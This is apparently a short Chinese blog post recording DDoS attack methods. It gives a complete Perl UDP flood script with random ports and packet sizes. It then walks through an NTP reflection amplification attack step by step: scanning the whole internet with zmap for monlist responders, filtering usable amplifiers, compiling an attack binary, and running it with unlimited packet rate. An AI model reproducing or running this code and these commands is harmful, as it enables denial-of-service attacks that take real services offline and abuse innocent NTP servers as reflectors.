DDOS攻击记录
- 单机
#!/usr/bin/perl
##############
# udp flood.
##############
use Socket;
use strict;
if ($#ARGV != 3) {
print "flood.pl <ip> <port> <size> <time>\n\n";
print " port=0: use random ports\n";
print " size=0: use random size between 64 and 1024\n";
print " time=0: continuous flood\n";
exit(1);
}
my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, AF_INET, SOCK_DGRAM, 17);
print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
- NTP反射放大
yum update后安装依赖
yum install epel-release -y
yum install gcc libcap libpcap libpcap-devel screen php dstat cmake gmp gmp-devel gengetopt byacc flex git json-c zmap screen -y
将如下文件传入服务器后解压
打开一个screen并使用zmap进行扫描
screen zmap -p 123 -M udp --probe-args=file:/root/ntp_123_monlist.pkt -o monlist_fingerprint.txt
如果提示错误需要指定网卡,加一个-i 网卡名称,例如
screen zmap -i p2p1 -p 123 -M udp --probe-args=file:/root/ntp_123_monlist.pkt -o monlist_fingerprint.txt
扫描全网需要数小时。
检查下列表内的IP哪些可以使用反射
给压缩包内的ntpchecker 777权限
chmod 777 ntpchecker
进行检查
./ntpchecker monlist_fingerprint.txt step1.txt 1 0 1
检查完成后,进行格式化
awk '$2>419{print $1}' step1.txt | sort -n | uniq | sort -R > ntpamp.txt
这样我们就得到了一份可以用来进行使用的NTP列表了
压缩包内已经有了攻击程序,可以直接使用
编译压缩包内的攻击程序
gcc -lpthread ntp.c -lpcap -o ntp
使用命令举例
./ntp 127.0.0.1 80 ntpamp.txt 1000 -1 100
# 127.0.0.1=目标IP
# 80=攻击端口
# ntpamp.txt=过滤后的放大列表
# 1500=线程
# -1=pps限制,-1表示无限制
# 100=攻击时间
本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。
评论已关闭